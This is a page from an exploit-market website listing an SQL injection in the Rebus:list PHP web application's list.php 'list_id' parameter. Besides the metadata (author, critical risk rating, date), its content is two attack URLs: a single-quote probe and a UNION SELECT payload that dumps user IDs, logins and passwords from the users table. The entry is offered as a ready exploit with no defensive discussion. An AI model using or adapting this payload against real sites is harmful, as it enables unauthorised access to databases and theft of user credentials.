[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Rebus:list (list.php, list_id param) - SQL Injection Vulnerability

Author
Robert Cooper
Risk
[
Security Risk Critical
]
0day-ID
0day-ID-20526
Category
web applications
Date add
19-03-2013
Platform
php
http://server/list.php?list_id=2'
 
http://server/list.php?list_id=-2 union all select 1,2,group_concat(user_id,0x3a,login,0x3a,password) FROM users--

#  0day.today [2024-09-28]  #